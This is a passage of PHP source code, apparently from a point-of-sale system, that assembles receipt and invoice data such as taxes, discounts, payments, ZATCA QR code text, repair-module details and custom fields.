+= $line['line_total_exc_tax_uf']; $total_quantity += $line['quantity_uf']; $total_line_discount += ($line['line_discount_uf'] * $line['quantity_uf']); $total_line_taxes += ($line['tax_unformatted'] * $line['quantity_uf']); if (! empty($line['variation_id']) && ! in_array($line['variation_id'], $unique_items)) { $unique_items[] = $line['variation_id']; } } if (! empty($il->common_settings['total_quantity_label'])) { $output['total_quantity_label'] = $il->common_settings['total_quantity_label']; $output['total_quantity'] = $this->num_f($total_quantity, false, $business_details, true); } if (! empty($il->common_settings['total_items_label'])) { $output['total_items_label'] = $il->common_settings['total_items_label']; $output['total_items'] = count($unique_items); } $output['subtotal_exc_tax'] = $this->num_f($subtotal_exc_tax, true, $business_details); $output['total_line_discount'] = ! empty($total_line_discount) ? $this->num_f($total_line_discount, true, $business_details) : 0; } elseif ($transaction_type == 'sell_return') { $parent_sell = Transaction::find($transaction->return_parent_id); $lines = $parent_sell->sell_lines; foreach ($lines as $key => $value) { if (! empty($value->sub_unit_id)) { $formated_sell_line = $this->recalculateSellLineTotals($business_details->id, $value); $lines[$key] = $formated_sell_line; } } $details = $this->_receiptDetailsSellReturnLines($lines, $il, $business_details); $output['lines'] = $details['lines']; $output['taxes'] = []; foreach ($details['lines'] as $line) { if (! empty($line['group_tax_details'])) { foreach ($line['group_tax_details'] as $tax_group_detail) { if (! isset($output['taxes'][$tax_group_detail['name']])) { $output['taxes'][$tax_group_detail['name']] = 0; } $output['taxes'][$tax_group_detail['name']] += $tax_group_detail['calculated_tax']; } } } } //show cat code $output['show_cat_code'] = $il->show_cat_code; $output['cat_code_label'] = $il->cat_code_label; //Subtotal $output['subtotal_label'] = $il->sub_total_label.':'; $output['subtotal'] = ($transaction->total_before_tax != 0) ? $this->num_f($transaction->total_before_tax, $show_currency, $business_details) : 0; $output['subtotal_unformatted'] = ($transaction->total_before_tax != 0) ? $transaction->total_before_tax : 0; //round off $output['round_off_label'] = ! empty($il->round_off_label) ? $il->round_off_label.':' : __('lang_v1.round_off').':'; $output['round_off'] = $this->num_f($transaction->round_off_amount, $show_currency, $business_details); $output['round_off_amount'] = $transaction->round_off_amount; $output['total_exempt'] = $this->num_f($total_exempt, $show_currency, $business_details); $output['total_exempt_uf'] = $total_exempt; $taxed_subtotal = $output['subtotal_unformatted'] - $total_exempt; $output['taxed_subtotal'] = $this->num_f($taxed_subtotal, $show_currency, $business_details); //Discount $discount_amount = $this->num_f($transaction->discount_amount, $show_currency, $business_details); $output['line_discount_label'] = $invoice_layout->discount_label; $output['discount_label'] = $invoice_layout->discount_label; $output['discount_label'] .= ($transaction->discount_type == 'percentage') ? ' <small>('.$this->num_f($transaction->discount_amount, false, $business_details).'%)</small> :' : ''; if ($transaction->discount_type == 'percentage') { $discount = ($transaction->discount_amount / 100) * $transaction->total_before_tax; } else { $discount = $transaction->discount_amount; } $output['discount'] = ($discount != 0) ? $this->num_f($discount, $show_currency, $business_details) : 0; //reward points if ($business_details->enable_rp == 1 && ! empty($transaction->rp_redeemed)) { $output['reward_point_label'] = $business_details->rp_name; $output['reward_point_amount'] = $this->num_f($transaction->rp_redeemed_amount, $show_currency, $business_details); } //Format tax if (! empty($output['taxes'])) { $total_tax = 0; foreach ($output['taxes'] as $key => $value) { $total_tax += $value; $output['taxes'][$key] = $this->num_f($value, $show_currency, $business_details); } $output['taxes'][trans('lang_v1.total_tax')] = $this->num_f($total_tax, $show_currency, $business_details); } //Order Tax $tax = $transaction->tax; $output['tax_label'] = $invoice_layout->tax_label; $output['line_tax_label'] = $invoice_layout->tax_label; if (! empty($tax) && ! empty($tax->name)) { $output['tax_label'] .= ' ('.$tax->name.')'; } $output['tax_label'] .= ':'; $output['tax'] = ($transaction->tax_amount != 0) ? $this->num_f($transaction->tax_amount, $show_currency, $business_details) : 0; if ($transaction->tax_amount != 0 && $tax->is_tax_group) { $transaction_group_tax_details = $this->groupTaxDetails($tax, $transaction->tax_amount); $output['group_tax_details'] = []; foreach ($transaction_group_tax_details as $value) { $output['group_tax_details'][$value['name']] = $this->num_f($value['calculated_tax'], $show_currency, $business_details); } } //Shipping charges $output['shipping_charges'] = ($transaction->shipping_charges != 0) ? $this->num_f($transaction->shipping_charges, $show_currency, $business_details) : 0; $output['shipping_charges_label'] = trans('sale.shipping_charges'); //Shipping details $output['shipping_details'] = $transaction->shipping_details; $output['delivered_to'] = $transaction->delivered_to; $output['shipping_details_label'] = trans('sale.shipping_details'); $output['packing_charge_label'] = trans('lang_v1.packing_charge'); $output['packing_charge'] = ($transaction->packing_charge != 0) ? $this->num_f($transaction->packing_charge, $show_currency, $business_details) : 0; //Total if ($transaction_type == 'sell_return') { $output['total_label'] = $invoice_layout->cn_amount_label.':'; $output['total'] = $this->num_f($transaction->final_total, $show_currency, $business_details); } else { $output['total_label'] = $invoice_layout->total_label.':'; $output['total'] = $this->num_f($transaction->final_total, $show_currency, $business_details); } if (! empty($il->common_settings['show_total_in_words'])) { $word_format = isset($il->common_settings['num_to_word_format']) ? $il->common_settings['num_to_word_format'] : 'international'; $output['total_in_words'] = $this->numToWord($transaction->final_total, null, $word_format); } $output['total_unformatted'] = $transaction->final_total; //Paid & Amount due, only if final if ($transaction_type == 'sell' && $transaction->status == 'final') { $paid_amount = $this->getTotalPaid($transaction->id); $due = $transaction->final_total - $paid_amount; $output['total_paid'] = ($paid_amount == 0) ? 0 : $this->num_f($paid_amount, $show_currency, $business_details); $output['total_paid_label'] = $il->paid_label; $output['total_due'] = ($due == 0) ? 0 : $this->num_f($due, $show_currency, $business_details); $output['total_due_label'] = $il->total_due_label; if ($il->show_previous_bal == 1) { $all_due = $this->getContactDue($transaction->contact_id); if (! empty($all_due)) { $output['all_bal_label'] = $il->prev_bal_label; $output['all_due'] = $this->num_f($all_due, $show_currency, $business_details); } } //Get payment details $output['payments'] = []; if ($il->show_payments == 1) { $payments = $transaction->payment_lines->toArray(); $payment_types = $this->payment_types($transaction->location_id, true); if (! empty($payments)) { foreach ($payments as $value) { $method = ! empty($payment_types[$value['method']]) ? $payment_types[$value['method']] : ''; if ($value['method'] == 'cash') { $output['payments'][] = ['method' => $method.($value['is_return'] == 1 ? ' ('.$il->change_return_label.')(-)' : ''), 'amount' => $this->num_f($value['amount'], $show_currency, $business_details), 'date' => $this->format_date($value['paid_on'], false, $business_details), ]; if ($value['is_return'] == 1) { } } elseif ($value['method'] == 'card') { $output['payments'][] = ['method' => $method.(! empty($value['card_transaction_number']) ? (', Transaction Number:'.$value['card_transaction_number']) : ''), 'amount' => $this->num_f($value['amount'], $show_currency, $business_details), 'date' => $this->format_date($value['paid_on'], false, $business_details), ]; } elseif ($value['method'] == 'cheque') { $output['payments'][] = ['method' => $method.(! empty($value['cheque_number']) ? (', Cheque Number:'.$value['cheque_number']) : ''), 'amount' => $this->num_f($value['amount'], $show_currency, $business_details), 'date' => $this->format_date($value['paid_on'], false, $business_details), ]; } elseif ($value['method'] == 'bank_transfer') { $output['payments'][] = ['method' => $method.(! empty($value['bank_account_number']) ? (', Account Number:'.$value['bank_account_number']) : ''), 'amount' => $this->num_f($value['amount'], $show_currency, $business_details), 'date' => $this->format_date($value['paid_on'], false, $business_details), ]; } elseif ($value['method'] == 'advance') { $output['payments'][] = ['method' => $method, 'amount' => $this->num_f($value['amount'], $show_currency, $business_details), 'date' => $this->format_date($value['paid_on'], false, $business_details), ]; } elseif ($value['method'] == 'other') { $output['payments'][] = ['method' => $method, 'amount' => $this->num_f($value['amount'], $show_currency, $business_details), 'date' => $this->format_date($value['paid_on'], false, $business_details), ]; } for ($i = 1; $i < 8; $i++) { if ($value['method'] == "custom_pay_{$i}") { $output['payments'][] = ['method' => $method.(! empty($value['transaction_no']) ? (', '.trans('lang_v1.transaction_no').':'.$value['transaction_no']) : ''), 'amount' => $this->num_f($value['amount'], $show_currency, $business_details), 'date' => $this->format_date($value['paid_on'], false, $business_details), ]; } } } } } } $output['additional_expenses'] = []; if (! empty($transaction->additional_expense_value_1) && ! empty($transaction->additional_expense_key_1)) { $output['additional_expenses'][$transaction->additional_expense_key_1] = $this->num_f($transaction->additional_expense_value_1, $show_currency, $business_details); } if (! empty($transaction->additional_expense_value_2) && ! empty($transaction->additional_expense_key_2)) { $output['additional_expenses'][$transaction->additional_expense_key_2] = $this->num_f($transaction->additional_expense_value_2, $show_currency, $business_details); } if (! empty($transaction->additional_expense_value_3) && ! empty($transaction->additional_expense_key_3)) { $output['additional_expenses'][$transaction->additional_expense_key_3] = $this->num_f($transaction->additional_expense_value_3, $show_currency, $business_details); } if (! empty($transaction->additional_expense_value_4) && ! empty($transaction->additional_expense_key_4)) { $output['additional_expenses'][$transaction->additional_expense_key_4] = $this->num_f($transaction->additional_expense_value_4, $show_currency, $business_details); } //Check for barcode $output['barcode'] = ($il->show_barcode == 1) ? $transaction->invoice_no : false; //Additional notes $output['additional_notes'] = $transaction->additional_notes; $output['footer_text'] = $invoice_layout->footer_text; //Barcode related information. $output['show_barcode'] = ! empty($il->show_barcode) ? true : false; if (in_array($transaction_type, ['sell', 'sales_order'])) { //Qr code related information. $output['show_qr_code'] = ! empty($il->show_qr_code) ? true : false; $zatca_qr = ! empty($il->common_settings['zatca_qr']) ? true : false; if ($zatca_qr) { $total_order_tax = $transaction->tax_amount + $total_line_taxes; $qr_code_text = $this->_zatca_qr_text($business_details->name, $business_details->tax_number_1, $transaction->transaction_date, $transaction->final_total, $total_order_tax); } else { $is_label_enabled = ! empty($il->common_settings['show_qr_code_label']) ? true : false; $qr_code_details = []; $qr_code_fields = ! empty($il->qr_code_fields) ? $il->qr_code_fields : []; if (in_array('business_name', $qr_code_fields)) { $qr_code_details[] = $is_label_enabled ? __('business.business').': '.$business_details->name : $business_details->name; } if (in_array('address', $qr_code_fields)) { $qr_code_details[] = $is_label_enabled ? __('business.address').': '.$location_details->name.', '.$output['address'] : $location_details->name.' '.str_replace(',', '', $output['address']); } if (in_array('tax_1', $qr_code_fields)) { $qr_code_details[] = $is_label_enabled ? $business_details->tax_label_1.': '.$business_details->tax_number_1 : $business_details->tax_number_1; } if (in_array('tax_2', $qr_code_fields)) { $qr_code_details[] = $is_label_enabled ? $business_details->tax_label_2.' '.$business_details->tax_number_2 : $business_details->tax_number_2; } if (in_array('invoice_no', $qr_code_fields)) { $qr_code_details[] = $is_label_enabled ? $il->invoice_no_prefix.': '.$transaction->invoice_no : $transaction->invoice_no; } if (in_array('invoice_datetime', $qr_code_fields)) { $qr_code_details[] = $is_label_enabled ? $output['date_label'].': '.$output['invoice_date'] : $output['invoice_date']; } if (in_array('subtotal', $qr_code_fields)) { $qr_code_details[] = $is_label_enabled ? $output['subtotal_label'].' '.$output['subtotal'] : $output['subtotal']; } if (in_array('total_amount', $qr_code_fields)) { $qr_code_details[] = $is_label_enabled ? $output['total_label'].' '.$output['total'] : $output['total']; } if (in_array('total_tax', $qr_code_fields)) { $total_order_tax = $transaction->tax_amount + $total_line_taxes; $total_order_tax_formatted = $this->num_f($total_order_tax, $show_currency, $business_details); $qr_code_details[] = $is_label_enabled ? __('sale.tax').': '.$total_order_tax_formatted : $total_order_tax_formatted; } if (in_array('customer_name', $qr_code_fields)) { $cust_label = $il->customer_label ?? __('contact.customer'); $qr_code_details[] = $is_label_enabled ? $cust_label.': '.$customer->full_name : $customer->full_name; } if (in_array('invoice_url', $qr_code_fields)) { $qr_code_details[] = $this->getInvoiceUrl($transaction->id, $business_details->id); } $output['qr_code_details'] = $qr_code_details; $qr_code_text = $is_label_enabled ? implode(', ', $qr_code_details) : implode(' ', $qr_code_details); } if ($transaction->status == 'final') { $output['qr_code_text'] = $qr_code_text; } } //Module related information. $il->module_info = ! empty($il->module_info) ? json_decode($il->module_info, true) : []; if (! empty($il->module_info['tables']) && $this->isModuleEnabled('tables')) { //Table label & info $output['table_label'] = null; $output['table'] = null; if (isset($il->module_info['tables']['show_table'])) { $output['table_label'] = ! empty($il->module_info['tables']['table_label']) ? $il->module_info['tables']['table_label'] : ''; if (! empty($transaction->res_table_id)) { $table = ResTable::find($transaction->res_table_id); } //res_table_id $output['table'] = ! empty($table->name) ? $table->name : ''; } } if (! empty($il->module_info['types_of_service']) && $this->isModuleEnabled('types_of_service') && ! empty($transaction->types_of_service_id)) { //Table label & info $output['types_of_service_label'] = null; $output['types_of_service'] = null; if (isset($il->module_info['types_of_service']['show_types_of_service'])) { $output['types_of_service_label'] = ! empty($il->module_info['types_of_service']['types_of_service_label']) ? $il->module_info['types_of_service']['types_of_service_label'] : ''; $output['types_of_service'] = $transaction->types_of_service->name; } if (isset($il->module_info['types_of_service']['show_tos_custom_fields'])) { $types_of_service_custom_labels = $this->getCustomLabels($business_details, 'types_of_service'); $output['types_of_service_custom_fields'] = []; if (! empty($transaction->service_custom_field_1)) { $tos_custom_label_1 = $types_of_service_custom_labels['custom_field_1'] ?? __('lang_v1.service_custom_field_1'); $output['types_of_service_custom_fields'][$tos_custom_label_1] = $transaction->service_custom_field_1; } if (! empty($transaction->service_custom_field_2)) { $tos_custom_label_2 = $types_of_service_custom_labels['custom_field_2'] ?? __('lang_v1.service_custom_field_2'); $output['types_of_service_custom_fields'][$tos_custom_label_2] = $transaction->service_custom_field_2; } if (! empty($transaction->service_custom_field_3)) { $tos_custom_label_3 = $types_of_service_custom_labels['custom_field_3'] ?? __('lang_v1.service_custom_field_3'); $output['types_of_service_custom_fields'][$tos_custom_label_3] = $transaction->service_custom_field_3; } if (! empty($transaction->service_custom_field_4)) { $tos_custom_label_4 = $types_of_service_custom_labels['custom_field_4'] ?? __('lang_v1.service_custom_field_4'); $output['types_of_service_custom_fields'][$tos_custom_label_4] = $transaction->service_custom_field_4; } if (! empty($transaction->service_custom_field_5)) { $tos_custom_label_5 = $types_of_service_custom_labels['custom_field_5'] ?? __('lang_v1.service_custom_field_5'); $output['types_of_service_custom_fields'][$tos_custom_label_5] = $transaction->service_custom_field_5; } if (! empty($transaction->service_custom_field_6)) { $tos_custom_label_6 = $types_of_service_custom_labels['custom_field_6'] ?? __('lang_v1.service_custom_field_6'); $output['types_of_service_custom_fields'][$tos_custom_label_6] = $transaction->service_custom_field_6; } } } if (! empty($il->module_info['service_staff']) && $this->isModuleEnabled('service_staff')) { //Waiter label & info $output['service_staff_label'] = null; $output['service_staff'] = null; if (isset($il->module_info['service_staff']['show_service_staff'])) { $output['service_staff_label'] = ! empty($il->module_info['service_staff']['service_staff_label']) ? $il->module_info['service_staff']['service_staff_label'] : ''; if (! empty($transaction->res_waiter_id)) { $waiter = \App\User::find($transaction->res_waiter_id); } //res_table_id $output['service_staff'] = ! empty($waiter->id) ? implode(' ', [$waiter->first_name, $waiter->last_name]) : ''; } } //Repair module details if (! empty($il->module_info['repair']) && $transaction->sub_type == 'repair') { if (! empty($il->module_info['repair']['show_repair_status'])) { $output['repair_status_label'] = $il->module_info['repair']['repair_status_label']; $output['repair_status'] = ''; if (! empty($transaction->repair_status_id)) { $repair_status = \Modules\Repair\Entities\RepairStatus::find($transaction->repair_status_id); $output['repair_status'] = $repair_status->name; } } if (! empty($il->module_info['repair']['show_repair_warranty'])) { $output['repair_warranty_label'] = $il->module_info['repair']['repair_warranty_label']; $output['repair_warranty'] = ''; if (! empty($transaction->repair_warranty_id)) { $repair_warranty = \App\Warranty::find($transaction->repair_warranty_id); $output['repair_warranty'] = $repair_warranty->name; } } if (! empty($il->module_info['repair']['show_serial_no'])) { $output['serial_no_label'] = $il->module_info['repair']['serial_no_label']; $output['repair_serial_no'] = $transaction->repair_serial_no; } if (! empty($il->module_info['repair']['show_defects'])) { $output['defects_label'] = $il->module_info['repair']['defects_label']; $output['repair_defects'] = $transaction->repair_defects; } if (! empty($il->module_info['repair']['show_model'])) { $output['model_no_label'] = $il->module_info['repair']['model_no_label']; $output['repair_model_no'] = ''; if (! empty($transaction->repair_model_id)) { $device_model = \Modules\Repair\Entities\DeviceModel::find($transaction->repair_model_id); if (! empty($device_model)) { $output['repair_model_no'] = $device_model->name; } } } if (! empty($il->module_info['repair']['show_repair_checklist'])) { $output['repair_checklist_label'] = $il->module_info['repair']['repair_checklist_label']; $output['checked_repair_checklist'] = $transaction->repair_checklist; $checklists = []; if (! empty($transaction->repair_model_id)) { $model = \Modules\Repair\Entities\DeviceModel::find($transaction->repair_model_id); if (! empty($model) && ! empty($model->repair_checklist)) { $checklists = explode('|', $model->repair_checklist); } } $output['repair_checklist'] = $checklists; } if (! empty($il->module_info['repair']['show_device'])) { $output['device_label'] = $il->module_info['repair']['device_label']; $device = \App\Category::find($transaction->repair_device_id); $output['repair_device'] = ''; if (! empty($device)) { $output['repair_device'] = $device->name; } } if (! empty($il->module_info['repair']['show_brand'])) { $output['brand_label'] = $il->module_info['repair']['brand_label']; $brand = \App\Brands::find($transaction->repair_brand_id); $output['repair_brand'] = ''; if (! empty($brand)) { $output['repair_brand'] = $brand->name; } } } //Custom fields $custom_labels = json_decode($business_details['custom_labels']); //shipping custom fields if (! empty($custom_labels->shipping->custom_field_1)) { $output['shipping_custom_field_1_label'] = $custom_labels->shipping->custom_field_1; $output['shipping_custom_field_1_value'] = $transaction['shipping_custom_field_1']; } if (! empty($custom_labels->shipping->custom_field_2)) { $output['shipping_custom_field_2_label'] = $custom_labels->shipping->custom_field_2; $output['shipping_custom_field_2_value'] = $transaction['shipping_custom_field_2']; } if (! empty($custom_labels->shipping->custom_field_3)) { $output['shipping_custom_field_3_label'] = $custom_labels->shipping->custom_field_3; $output['shipping_custom_field_3_value'] = $transaction['shipping_custom_field_3']; } if (! empty($custom_labels->shipping->custom_field_4)) { $output['shipping_custom_field_4_label'] = $custom_labels->shipping->custom_field_4; $output['shipping_custom_field_4_value'] = $transaction['shipping_custom_field_4']; } //Sell custom fields if (! empty($custom_labels->shipping->custom_field_5)) { $output['shipping_custom_field_5_label'] = $custom_labels->shipping->custom_field_5; $output['shipping_custom_field_5_value'] = $transaction['shipping_custom_field_5']; } $is_show_sell_custom_fields1 = ! empty($il->common_settings['sell_custom_fields1']) ? true : false; if (! empty($custom_labels->sell->custom_field_1) && $is_show_sell_custom_fields1) { $output['sell_custom_field_1_label'] = $custom_labels->sell->custom_field_1; $output['sell_custom_field_1_value'] = $transaction['custom_field_1']; } $is_show_sell_custom_fields2 = ! empty($il->common_settings['sell_custom_fields2']) ? true : false; if (! empty($custom_labels->sell->custom_field_2) && $is_show_sell_custom_fields2) { $output['sell_custom_field_2_label'] = $custom_labels->sell->custom_field_2; $output['sell_custom_field_2_value'] = $transaction['custom_field_2']; } $is_show_sell_custom_fields3 = ! empty($il->common_settings['sell_custom_fields3']) ? true : false; if (! empty($custom_labels->sell->custom_field_3) && $is_show_sell_custom_fields3) { $output['sell_custom_field_3_label'] = $custom_labels->sell->custom_field_3; $output['sell_custom_field_3_value'] = $transaction['custom_field_3']; } $is_show_sell_custom_fields4 = ! empty($il->common_settings['sell_custom_fields4']) ? true : false; if (! empty($custom_labels->sell->custom_field_4) && $is_show_sell_custom_fields4) { $output['sell_custom_field_4_label'] = $custom_labels->sell->custom_field_4; $output['sell_custom_field_4_value'] = $transaction['custom_field_4']; } // location custom fields if (in_array('custom_field1', $location_custom_field_settings) && ! empty($location_details->custom_field1) && ! empty($custom_labels->location->custom_field_1)) { $output['location_custom_field_1_label'] = $custom_labels->location->custom_field_1; $output['location_custom_field_1_value'] = $location_details->custom_field1; } if (in_array('custom_field2', $location_custom_field_settings) && ! empty($location_details->custom_field2) && ! empty($custom_labels->location->custom_field_2)) { $output['location_custom_field_2_label'] = $custom_labels->location->custom_field_2; $output['location_custom_field_2_value'] = $location_details->custom_field2; } if (in_array('custom_field3', $location_custom_field_settings) && ! empty($location_details->custom_field3) && ! empty($custom_labels->location->custom_field_3)) { $output['location_custom_field_3_label'] = $custom_labels->location->custom_field_3; $output['location_custom_field_3_value'] = $location_details->custom_field3; } if (in_array('custom_field4', $location_custom_field_settings) && ! empty($location_details->custom_field4) && ! empty($custom_labels->location->custom_field_4)) { $output['location_custom_field_4_label'] = $custom_labels->location->custom_field_4; $output['location_custom_field_4_value'] = $location_details->custom_field4; } //Used in pdfs if (! empty($transaction->sales_order_ids)) { $sale_orders = Transaction::where('type', 'sales_order') ->find($transaction->sales_order_ids); $output['sale_orders_invoice_no'] = implode(', ', $sale_orders->pluck('invoice_no')->toArray()); $sale_orders_invoice_date = []; foreach ($sale_orders as $sale_order) { if (blank($il->date_time_format)) { $sale_orders_invoice_date[] = $this->format_date($sale_order->transaction_date, true); } else { $sale_orders_invoice_date[] = \Carbon::createFromFormat('Y-m-d H:i:s', $sale_order->transaction_date)->format($il->date_time_format); } } $output['sale_orders_invoice_date'] = implode(', ', $sale_orders_invoice_date); } if (! empty($transaction->prefer_payment_method)) { $payment_types = $this->payment_types(null, true, $transaction->business_id); $output['preferred_payment_method'] = $payment_types[$transaction->prefer_payment_method]; } if (! empty($transaction->prefer_payment_account)) { $output['preferred_account_details'] = $transaction->preferredAccount->account_details; } //export custom fields $output['is_export'] = $transaction->is_export; $export_custom_fields_info = $transaction->export_custom_fields_info; if (! empty($transaction->is_export)) { $output['export_custom_fields_info']['export_custom_field_1'] = $export_custom_fields_info['export_custom_field_1'] ?? ''; $output['export_custom_fields_info']['export_custom_field_2'] = $export_custom_fields_info['export_custom_field_2'] ?? ''; $output['export_custom_fields_info']['export_custom_field_3'] = $export_custom_fields_info['export_custom_field_3'] ?? ''; $output['export_custom_fields_info']['export_custom_field_4'] = $export_custom_fields_info['export_custom_field_4'] ?? ''; $output['export_custom_fields_info']['export_custom_field_5'] = $export_custom_fields_info['export_custom_field_5'] ?? ''; $output['export_custom_fields_info']['export_custom_field_6'] = $export_custom_fields_info['export_custom_field_6'] ?? ''; } $output['design'] = $il->design; $output['table_tax_headings'] = ! empty($il->table_tax_headings) ? array_filter(json_decode($il->table_tax_headings), 'strlen') : null; return (object) $output; } /** * This QR code is used in saudi arabia, TLV format * https://github.com/SallaApp/ZATCA/blob/master/src/Tag.php * Need to validate the qr code from mobile app * * @return string */ protected function _zatca_qr_text($seller, $tax_number, $invoice_date, $invoice_total_amount, $invoice_tax_amount) { $string = ''; //$seller = 'Salla'; //$tax_number = '1234567891'; //$invoice_date = '2021-07-12T14:25:09Z'; //$invoice_total_amount = '100.00'; //$invoice_tax_amount = '15.00'; $invoice_total_amount = round($invoice_total_amount, 2); //$invoice_date = \Carbon::parse($invoice_date)->toIso8601ZuluString(); $invoice_date = \Carbon::parse($invoice_date)->toIso8601String(); $string .= $this->toHex(1).$this->toHex(strlen($seller)).($seller); $string .= $this->toHex(2).$this->toHex(strlen($tax_number)).($tax_number); $string .= $this->toHex(3).$this->toHex(strlen($invoice_date)).($invoice_date); $string .= $this->toHex(4).$this->toHex(strlen($invoice_total_amount)).($invoice_total_amount); $string .= $this->toHex(5).$this->toHex(strlen($invoice_tax_amount)).($invoice_tax_amount); return base64_encode($string); } /** * To convert the string value to hex. * * @param $value * @return false|string */ protected function toHex($value) { return pack('H*', sprintf('%02X', $value)); } /** * Returns each line details for sell invoice display * * @return array */ protected function _receiptDetailsSellLines($lines, $il, $business_details) { $is_lot_number_enabled = $business_details->enable_lot_number; $is_product_expiry_enabled = $business_details->enable_product_expiry; $output_lines = []; //$output_taxes = ['taxes' => []]; $product_custom_fields_settings = ! empty($il->product_custom_fields) ? $il->product_custom_fields : []; $is_warranty_enabled = ! empty($business_details->common_settings['enable_product_warranty']) ? true : false; foreach ($lines as $line) { $product = $line->product; $variation = $line->variations; $product_variation = $line->variations->product_variation; $unit = $line->product->unit; $brand = $line->product->brand; $cat = $line->product->category; $tax_details = TaxRate::find($line->tax_id); $unit_name = ! empty($unit->short_name) ? $unit->short_name : ''; $base_unit_name = $unit_name; $base_unit_multiplier = ! empty($line->multiplier) && $line->multiplier != 1 ? $line->multiplier : 1; if (! empty($line->sub_unit->short_name)) { $unit_name = $line->sub_unit->short_name; } $base_unit_price = $line->unit_price_inc_tax / $base_unit_multiplier; $show_product_description = $il->common_settings['show_product_description'] ?? null; $line_array = [ //Field for 1st column 'name' => $product->name, 'product_description' => ! empty($show_product_description) ? $product->product_description : null, 'variation' => (empty($variation->name) || $variation->name == 'DUMMY') ? '' : $variation->name, 'product_variation' => (empty($product_variation->name) || $product_variation->name == 'DUMMY') ? '' : $product_variation->name, //Field for 2nd column 'quantity' => $this->num_f($line->quantity, false, $business_details, true), 'quantity_uf' => $line->quantity, 'units' => $unit_name, 'base_unit_name' => $base_unit_name, 'base_unit_multiplier' => ! empty($line->multiplier) && $line->multiplier != 1 ? $this->num_f($line->multiplier, false, $business_details) : 1, 'orig_quantity' => $this->num_f($line->orig_quantity, false, $business_details, true), 'unit_price' => $this->num_f($line->unit_price, false, $business_details), 'unit_price_uf' => $line->unit_price, 'tax' => $this->num_f($line->item_tax, false, $business_details), 'tax_id' => $line->tax_id, 'tax_unformatted' => $line->item_tax, 'tax_name' => ! empty($tax_details) ? $tax_details->name : null, 'tax_percent' => ! empty($tax_details) ? $tax_details->amount : null, //Field for 3rd column 'unit_price_inc_tax' => $this->num_f($line->unit_price_inc_tax, false, $business_details), 'unit_price_inc_tax_uf' => $line->unit_price_inc_tax, 'unit_price_exc_tax' => $this->num_f($line->unit_price, false, $business_details), 'base_unit_price' => $this->num_f($base_unit_price, false, $business_details), 'price_exc_tax' => $line->quantity * $line->unit_price, 'unit_price_before_discount' => $this->num_f($line->unit_price_before_discount, false, $business_details), 'unit_price_before_discount_uf' => $line->unit_price_before_discount, //Fields for 4th column 'line_total' => $this->num_f($line->unit_price_inc_tax * $line->quantity, false, $business_details), 'line_total_uf' => $line->unit_price_inc_tax * $line->quantity, 'line_total_exc_tax' => $this->num_f($line->unit_price * $line->quantity, false, $business_details), 'line_total_exc_tax_uf' => $line->unit_price * $line->quantity, 'variation_id' => $variation->id, ]; $temp = []; if (! empty($product->product_custom_field1) && in_array('product_custom_field1', $product_custom_fields_settings)) { $temp[] = $product->product_custom_field1; } if (! empty($product->product_custom_field2) && in_array('product_custom_field2', $product_custom_fields_settings)) { $temp[] = $product->product_custom_field2; } if (! empty($product->product_custom_field3) && in_array('product_custom_field3', $product_custom_fields_settings)) { $temp[] = $product->product_custom_field3; } if (! empty($product->product_custom_field4) && in_array('product_custom_field4', $product_custom_fields_settings)) { $temp[] = $product->product_custom_field4; } if (! empty($temp)) { $line_array['product_custom_fields'] = implode(',', $temp); } //Group product taxes by name. if (! empty($tax_details)) { if ($tax_details->is_tax_group) { $group_tax_details = $this->groupTaxDetails($tax_details, $line->quantity * $line->item_tax); $line_array['group_tax_details'] = $group_tax_details; foreach ($group_tax_details as $value) { if (! isset($output_taxes['taxes'][$value['name']])) { $output_taxes['taxes'][$value['name']] = 0; } $output_taxes['taxes'][$value['name']] += $value['amount']; } } else { $tax_name = $tax_details->name; if (! isset($output_taxes['taxes'][$tax_name])) { $output_taxes['taxes'][$tax_name] = 0; } $output_taxes['taxes'][$tax_name] += ($line->quantity * $line->item_tax); } } $line_array['line_discount'] = method_exists($line, 'get_discount_amount') ? $this->num_f($line->get_discount_amount(), false, $business_details) : 0; $line_array['line_discount_uf'] = method_exists($line, 'get_discount_amount') ? $line->get_discount_amount() : 0; if ($line->line_discount_type == 'percentage') { $line_array['line_discount'] .= ' ('.$this->num_f($line->line_discount_amount, false, $business_details).'%)'; $line_array['line_discount_percent'] = $this->num_f($line->line_discount_amount, false, $business_details); } $line_array['total_line_discount'] = $this->num_f($line_array['line_discount_uf'] * $line_array['quantity_uf'], false, $business_details); if ($il->show_brand == 1) { $line_array['brand'] = ! empty($brand->name) ? $brand->name : ''; } if ($il->show_sku == 1) { $line_array['sub_sku'] = ! empty($variation->sub_sku) ? $variation->sub_sku : ''; } if ($il->show_image == 1) { $media = $variation->media; if (count($media)) { $first_img = $media->first(); $line_array['image'] = ! empty($first_img->display_url) ? $first_img->display_url : asset('/img/default.png'); } else { $line_array['image'] = $product->image_url; } } if ($il->show_cat_code == 1) { $line_array['cat_code'] = ! empty($cat->short_code) ? $cat->short_code : ''; } if ($il->show_sale_description == 1) { $line_array['sell_line_note'] = ! empty($line->sell_line_note) ? nl2br($line->sell_line_note) : ''; } if ($is_lot_number_enabled == 1 && $il->show_lot == 1) { $line_array['lot_number'] = ! empty($line->lot_details->lot_number) ? $line->lot_details->lot_number : null; $line_array['lot_number_label'] = __('lang_v1.lot'); } if ($is_product_expiry_enabled == 1 && $il->show_expiry == 1) { $line_array['product_expiry'] = ! empty($line->lot_details->exp_date) ? $this->format_date($line->lot_details->exp_date, false, $business_details) : null; $line_array['product_expiry_label'] = __('lang_v1.expiry'); } //Set warranty data if enabled if ($is_warranty_enabled && ! empty($line->warranties->first())) { $warranty = $line->warranties->first(); if (! empty($il->common_settings['show_warranty_name'])) { $line_array['warranty_name'] = $warranty->name; } if (! empty($il->common_settings['show_warranty_description'])) { $line_array['warranty_description'] = $warranty->description; } if (! empty($il->common_settings['show_warranty_exp_date'])) { $line_array['warranty_exp_date'] = $warranty->getEndDate($line->transaction->transaction_date); } } //If modifier is set set modifiers line to parent sell line if (! empty($line->modifiers)) { foreach ($line->modifiers as $modifier_line) { $product = $modifier_line->product; $variation = $modifier_line->variations; $unit = $modifier_line->product->unit; $brand = $modifier_line->product->brand; $cat = $modifier_line->product->category; $modifier_line_array = [ //Field for 1st column 'name' => $product->name, 'variation' => (empty($variation->name) || $variation->name == 'DUMMY') ? '' : $variation->name, //Field for 2nd column 'quantity' => $this->num_f($modifier_line->quantity, false, $business_details), 'units' => ! empty($unit->short_name) ? $unit->short_name : '', //Field for 3rd column 'unit_price_inc_tax' => $this->num_f($modifier_line->unit_price_inc_tax, false, $business_details), 'unit_price_exc_tax' => $this->num_f($modifier_line->unit_price, false, $business_details), 'price_exc_tax' => $modifier_line->quantity * 